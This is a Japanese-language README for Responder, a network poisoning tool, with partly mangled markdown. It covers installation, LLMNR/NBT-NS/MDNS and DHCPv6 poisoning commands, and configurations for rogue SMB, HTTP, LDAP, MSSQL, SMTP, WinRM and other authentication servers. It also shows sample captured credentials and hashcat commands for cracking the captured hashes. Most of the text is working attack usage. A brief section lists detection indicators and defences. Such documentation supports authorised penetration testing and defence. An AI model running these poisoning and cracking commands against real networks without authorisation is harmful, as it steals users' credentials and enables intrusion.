
Responderは、LLMNR、NBT-NS、MDNSポイズナーであり、NTLMv1/NTLMv2/LMv2、拡張セキュリティNTLMSSP、およびBasic HTTP認証をサポートする組み込みのHTTP/SMB/MSSQL/FTP/LDAP不正認証サーバーを備えています。
Responder は、LLMNR、NBT-NS、MDNS ポイズナーで、HTTP、SMB、MSSQL、FTP、LDAP、Kerberos、DNS などのための組み込みの不正認証サーバーを備えています。NTLMv1/NTLMv2/LMv2、拡張セキュリティ NTLMSSP、および15以上のプロトコルにわたるさまざまな認証方式をサポートしています。
Responderは、LLMNR、NBT-NS、MDNSの名前解決要求に応答して資格情報を取得します。クライアントが存在しないホスト名を解決しようとすると、Responderが応答し、クライアントを攻撃者のマシンに誘導します。そこでは複数の不正認証サーバーが資格情報を取得します。DHCP、DHCPv6の不正サーバーも含まれており、個別に有効化できます。
取得データ:
このバージョンには以下が含まれます:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Responderのインストール```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## クイックスタート
### 基本的なポイズニング```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### HTTP Basic認証の強制```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## ネットワークポイズニング
### LLMNR/NBT-NS/MDNS ポイズニング
**目的:** 名前解決の失敗に応答する
**動作の仕組み:**
1. クライアントが存在しないホストに対してブロードキャストクエリを送信
2. レスポンダーが「私がそのホストです」と応答
3. クライアントが攻撃者に接続
4. 資格情報が取得される
**設定:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
使用方法:```bash sudo python3 Responder.py -I eth0 -v
---
### DHCPv6 Server
**目的:** IPv6経由で攻撃者のDNSを使用するようクライアントに強制
**機能:**
- ✅ INFORMATION-REQUEST サポート (Windows 10/11)
- ✅ SOLICIT/REQUEST サポート
- ✅ ドメインフィルタリング (精密なターゲット指定)
- ✅ Router Advertisement (オプション)
**動作原理:**
1. WindowsがDHCPv6 INFORMATION-REQUEST、SOLICIT、REQUESTを送信
2. Responderが応答: DNS = 攻撃者のIPv6
3. WindowsがIPv6 DNSを優先
4. すべてのDNSクエリ → 攻撃者
5. DNSポイズニング → 認証情報の取得
**設定:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
使用法:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**期待される出力:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responderには17以上の不正認証サーバが含まれています:
目的: ファイル共有からNetNTLMハッシュを取得
機能:
トリガー:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**キャプチャ形式:**```
username::domain:challenge:response:blob
クラッキング:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**設定:**```ini
[Responder Core]
SMB = On
目的: 平文のFTP認証情報をキャプチャ
特徴:
トリガー:```bash ftp attacker-ip
**取得形式:**```
[FTP] Cleartext: username:password
構成:```ini [Responder Core] FTP = On
---
### データベースサーバー
#### MSSQL Server (ポート 1433)
**目的:** Microsoft SQL Server 認証のキャプチャ
**機能:**
- ✅ SQL Server 認証
- ✅ Windows 認証 (NTLM)
- ✅ 平文の SQL 資格情報
- ✅ NetNTLMv2 ハッシュキャプチャ
**トリガー:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
キャプチャされたフォーマット:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**設定:**```ini
[Responder Core]
SQL = On
注記:
目的: メールクライアント認証のキャプチャ
機能:
STARTTLSフロー:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**トリガー:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
キャプチャされたフォーマット:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**設定:**```ini
[Responder Core]
SMTP = On
Certificate Warnings: 自己署名証明書の警告は正常です。クライアントは最初の試行を拒否し、再試行し、成功します。認証情報は依然として取得されます。
目的: STARTTLSを使用したIMAP認証のキャプチャ
機能:
STARTTLSフロー:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**設定:**```ini
[Responder Core]
IMAP = On
目的: IMAP over SSL (ネイティブ暗号化)
機能:
IMAPとの違い:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**設定:**```ini
[Responder Core]
IMAPS = On
目的: POP3 メール取得認証情報のキャプチャ
機能:
トリガー:``` Email client:
**キャプチャ形式:**```
[POP3] USER: username
[POP3] PASS: password
設定:```ini [Responder Core] POP = On
---
### Webサーバー
#### HTTPサーバー (Port 80)
**目的:** Web認証のキャプチャ
**機能:**
- ✅ NTLM認証 (NetNTLMv1/v2)
- ✅ Basic認証 (平文)
- ✅ Digest認証 (MD5)
- ✅ WPADインジェクション
**トリガー:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Basic認証の強制:```bash sudo python3 Responder.py -I eth0 -b
**キャプチャされたフォーマット:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
設定:```ini [Responder Core] HTTP = On
---
#### HTTPSサーバー (ポート443)
**目的:** 認証情報をキャプチャするHTTPS
**機能:**
- ✅ SSL/TLS暗号化
- ✅ すべてのHTTP認証方式
- ✅ 自己署名証明書
- ✅ HTTPS経由のWPAD
**設定:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
目的: オフラインクラッキングのためにAS-REPハッシュをキャプチャする
特徴:
動作の仕組み:
クラッキング:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**設定:**```ini
[Responder Core]
Kerberos = On
目的: LDAPディレクトリ認証のキャプチャ
機能:
トリガー:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**キャプチャされたフォーマット:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
設定:```ini [Responder Core] LDAP = On
---
#### LDAPSサーバー (ポート636)
**目的:** SSL上のLDAP
**特長:**
- ✅ SSL/TLS暗号化
- ✅ すべてのLDAP認証方式
**設定:**```ini
[Responder Core]
LDAP = On
目的: リモートデスクトップ認証の取得
機能:
トリガー:``` Remote Desktop Client:
**キャプチャされた形式:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
設定:```ini [Responder Core] RDP = On
**注記:** デスクトップセッション前にNLA認証を取得します。
---
#### WinRM サーバー (ポート 5985, 5986)
**目的:** Windows Remote Management の認証情報を取得
**機能:**
- ✅ HTTP (5985) および HTTPS (5986)
- ✅ 基本認証
- ✅ NTLM 認証
- ✅ Kerberos 認証
**トリガー:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
キャプチャされた形式:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**設定:**```ini
[Responder Core]
WINRM = On
目的: ドメインフィルタリング機能を持つ不正DNS
機能:
設定:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**動作の仕組み:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
対応するレコードタイプ:
ドメインフィルタリングの例:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**設定:**```ini
[Responder Core]
DNS = On
目的: Windows RPC認証の取得
特徴:
トリガー:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**キャプチャ形式:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
設定:```ini [Responder Core] DCERPC = On
---
## 設定
### メイン設定ファイル
`Responder.conf` を編集してください:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### Required Arguments
| Option | 説明 |
|--------|-------------|
| `-I eth0, --interface=eth0` | 使用するネットワークインターフェース(すべてのインターフェースを使用するには'ALL') |
### Poisoning Options
| Option | 説明 |
|--------|-------------|
| `-A, --analyze` | 分析モード - 応答せずにNBT-NS、MDNS、LLMNRリクエストを表示 |
| `-w, --wpad` | WPAD不正プロキシサーバーを起動(デフォルト:オフ) |
| `-F, --ForceWpadAuth` | wpad.dat取得時にNTLM/Basic認証を強制(古いネットワーク)|
| `-P, --ProxyAuth` | プロキシにNTLM/Basic認証を強制(非常に効果的) |
### DHCP/DHCPv6 Options
| Option | 説明 |
|--------|-------------|
| `-d, --DHCP` | WPADインジェクションを使用したDHCPブロードキャスト応答を有効化(IPv4) |
| `-D, --DHCP-DNS` | WPADの代わりにDHCP応答にDNSサーバーを注入 |
| `--dhcpv6` | DHCPv6ポイズニングを有効化(SOLICITメッセージに応答) |
### IP poisoning Options
| Option | 説明 |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | 別のIPv4アドレスでリクエストをポイズン |
| `-6 ADDR, --externalip6=ADDR` | 別のIPv6アドレスでリクエストをポイズン |
| `-i 10.0.0.21, --ip=10.0.0.21` | 使用するローカルIP(macOSのみ) |
### Authentication Options
| Option | 説明 |
|--------|-------------|
| `-b, --basic` | HTTP Basic認証を返す(デフォルト:NTLM) |
| `--lm` | LMハッシュのダウングレードを強制(Windows XP/2003) |
| `--disable-ess` | 拡張セキュリティNTLMSSPのダウングレードを強制 |
### Advanced Options
| Option | 説明 |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | 不正WPAD用の上流HTTPプロキシ |
| `-t 1e, --ttl=1e` | ポイズン応答のWindows TTLを変更(16進数:30s=1e、または'random') |
| `-N NAME, --AnswerName=NAME` | LLMNR応答の正規名(Kerberosリレーに有用) |
| `-E, --ErrorCode` | STATUS_LOGON_FAILUREを返す(WebDAV認証キャプチャを有効化) |
### Output Options
| Option | 説明 |
|--------|-------------|
| `-v, --verbose` | 冗長性を向上(推奨) |
| `-Q, --quiet` | 静音モード - ポイズナーの出力を無効化 |
### Information
| Option | 説明 |
|--------|-------------|
| `--version` | プログラムのバージョンを表示して終了 |
| `-h, --help` | ヘルプメッセージを表示して終了 |
---
### 保存場所```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### 運用上の考慮事項
**検知インジケーター:**
- 異常なLLMNR/NBT-NS応答
- 不正なDHCP/DHCPv6サーバー
- 無効なKerberos事前認証要求
- 自己署名SSL証明書
- 複数の認証失敗
- 不審なDNS応答
**防御策:**
- GPO経由でMDNS/LLMNR/NBT-NSを無効化
- スイッチでDHCPスヌーピングを有効化
- IPv6 RAガードを有効化
- DHCPv6ガードを有効化
- 不正なDHCPv6サーバーを監視
---
## macOS
ResponderはmacOSでも動作しますが、ローカルIPアドレスを指定するには`-i`フラグが必要です。macOSは、インターフェースバインドに使用されるLinuxの`SO_BINDTODEVICE`ソケットオプションをサポートしていません。
### ランチャースクリプトの使用
付属の`macOS_Launcher.sh`がサービスの競合を自動的に処理します:```bash
sudo ./macOS_Launcher.sh -I en0
ランチャーは次のことを行います:
-i を指定して上書き可能)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### システム整合性保護 (SIP)
SIPが有効(デフォルト)の場合、macOSはResponderが必要とするポートにバインドするシステムサービスの停止を防ぎます。以下の3つのオプションがあります:
1. **起動スクリプトを使用する** — 競合を報告し、利用可能なもので続行します
2. `Responder.conf` で競合するモジュールを無効にする(例:`SMB = Off`、`DNS = Off`)
3. 完全な機能のために **SIPを無効にする**([Appleのドキュメント](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection)を参照)
---
## トラブルシューティング
### よくある問題
**Permission Denied(許可拒否):**```bash
sudo python3 Responder.py -I eth0
インターフェースが見つかりません:```bash ip link show sudo python3 Responder.py -I wlan0
**ポートが既に使用中:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6が動作しない:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**ハッシュがキャプチャされていません:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## クレジット
**作者:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- Webサイト: https://secorizon.com/
- Twitter: @secorizon
---
## 寄付
以下のUSDTまたはBitcoinアドレスに寄付することで、このプロジェクトに貢献できます。
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
---
## 謝辞
Late Responderの開発は、個人や企業からの寄付によって可能になりました。
主要なスポンサーの皆様に感謝いたします:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
そして、このプロジェクトに寄付してくださった世界中のすべての、すべてのペネトレーションテスターの皆様。
ありがとうございます。